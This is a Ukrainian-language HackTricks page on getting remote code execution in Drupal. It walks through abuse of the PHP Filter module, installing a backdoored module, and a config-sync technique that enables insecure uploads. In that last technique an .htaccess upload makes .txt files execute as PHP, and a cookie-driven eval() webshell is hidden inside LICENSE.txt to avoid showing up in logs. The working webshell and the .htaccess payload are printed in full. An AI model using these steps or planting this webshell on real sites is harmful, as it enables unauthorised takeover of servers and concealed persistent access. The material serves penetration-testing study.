Drupal RCE
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
З модулем PHP Filter
warning
У старіших версіях Drupal (до версії 8) було можливим увійти як адміністратор і увімкнути модуль PHP filter
, який "дозволяє оцінювати вбудований PHP код/фрагменти." Але з версії 8 цей модуль не встановлюється за замовчуванням.
- Перейдіть до /modules/php і якщо повертається помилка 403, то плагін PHP filter встановлений, і ви можете продовжити
- Якщо ні, перейдіть до
Modules
і поставте галочку наPHP Filter
, а потім натиснітьSave configuration
- Потім, щоб експлуатувати це, натисніть на
Add content
, виберітьBasic Page
абоArticle
і напишіть PHP backdoor, потім виберітьPHP
код у текстовому форматі і нарешті виберітьPreview
- Щоб активувати це, просто отримайте доступ до новоствореного вузла:
curl http://drupal.local/node/3
Встановлення модуля PHP Filter
warning
У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки.
З версії 8 і далі, модуль PHP Filter не встановлюється за замовчуванням. Щоб скористатися цією функціональністю, нам потрібно встановити модуль самостійно.
- Завантажте найновішу версію модуля з веб-сайту Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Після завантаження перейдіть до
Administration
>Reports
>Available updates
. - Натисніть
Browse
, виберіть файл з директорії, куди ми його завантажили, а потім натиснітьInstall
. - Після встановлення модуля ми можемо натиснути на
Content
і створити нову базову сторінку, подібно до того, як ми робили в прикладі Drupal 7. Знову ж таки, не забудьте вибратиPHP code
з випадаючого спискуText format
.
Модуль з бекдором
warning
У поточних версіях більше неможливо встановлювати плагіни, маючи доступ лише до вебу після стандартної установки.
Було можливим завантажити модуль, додати до нього бекдор і встановити його. Наприклад, завантажуючи модуль Trurnstile у стиснутому форматі, створюючи новий файл PHP бекдору всередині нього, що дозволяє доступ до PHP файлу з файлом .htaccess
:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
І потім перейти до http://drupal.local/admin/modules/install
, щоб встановити модуль з бекдором і отримати доступ до /modules/turnstile/back.php
, щоб виконати його.
Бекдоринг Drupal з синхронізацією конфігурації
Пост поділився Coiffeur0x90
Частина 1 (активація Media та Media Library)
У меню Extend (/admin/modules) ви можете активувати те, що здається плагінами, які вже встановлені. За замовчуванням плагіни Media та Media Library не активовані, тож давайте їх активуємо.
Перед активацією:
 (1) (1) (1) (1).png)
Після активації:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Частина 2 (використання функції Configuration synchronization)
Ми використаємо функцію Configuration synchronization, щоб скинути (експортувати) та завантажити (імпортувати) записи конфігурації Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Патч system.file.yml
Давайте почнемо з патчування першого запису allow_insecure_uploads
з:
Файл: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
До:
Файл: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Патч field.field.media.document.field_media_document.yml
Потім, патч другий запис file_extensions
з:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
До:
Файл: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Я не використовую це в цьому блозі, але зазначено, що можливо визначити вхід
file_directory
довільним чином і що він вразливий до атаки обходу шляху (тому ми можемо піднятися назад у дереві файлової системи Drupal).
 (1) (1) (1).png)
Частина 3 (використання функції Додати документ)
Останній крок є найпростішим і поділений на два підкроки. Перший - завантажити файл у форматі .htaccess, щоб використати директиви Apache і дозволити файлам .txt інтерпретуватися PHP-движком. Другий - завантажити файл .txt, що містить наш payload.
Файл: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Чому цей трюк класний?
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми зможемо передавати наші команди через $_COOKIE
, і в журналах веб-сервера це з'явиться як легітимний GET запит до текстового файлу.
Чому ми називаємо наш Webshell LICENSE.txt?
Просто тому, що якщо ми візьмемо наступний файл, наприклад core/LICENSE.txt (який вже присутній в ядрі Drupal), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
 (1) (1) (1).png)
Файл: Виправлений LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Частина 3.1 (завантажити файл .htaccess)
Спочатку ми використовуємо функцію Add Document (/media/add/document) для завантаження нашого файлу, що містить директиви Apache (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Частина 3.2 (завантажити файл LICENSE.txt)
Потім ми знову використовуємо функцію Add Document (/media/add/document) для завантаження Webshell, прихованого в ліцензійному файлі.
 (1).png)
 (1).png)
 (1).png)
Частина 4 (взаємодія з Webshell)
Остання частина полягає у взаємодії з Webshell.
Як показано на наступному скріншоті, якщо cookie, очікуваний нашим Webshell, не визначено, ми отримуємо наступний результат при зверненні до файлу через веб-браузер.
 (1).png)
Коли атакуючий встановлює cookie, він може взаємодіяти з Webshell і виконувати будь-які команди, які хоче.
 (1).png)
І, як ви можете бачити в журналах, здається, що запитувався лише txt файл.
 (1).png)
Дякуємо, що знайшли час прочитати цю статтю, сподіваюся, вона допоможе вам отримати кілька оболонок.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.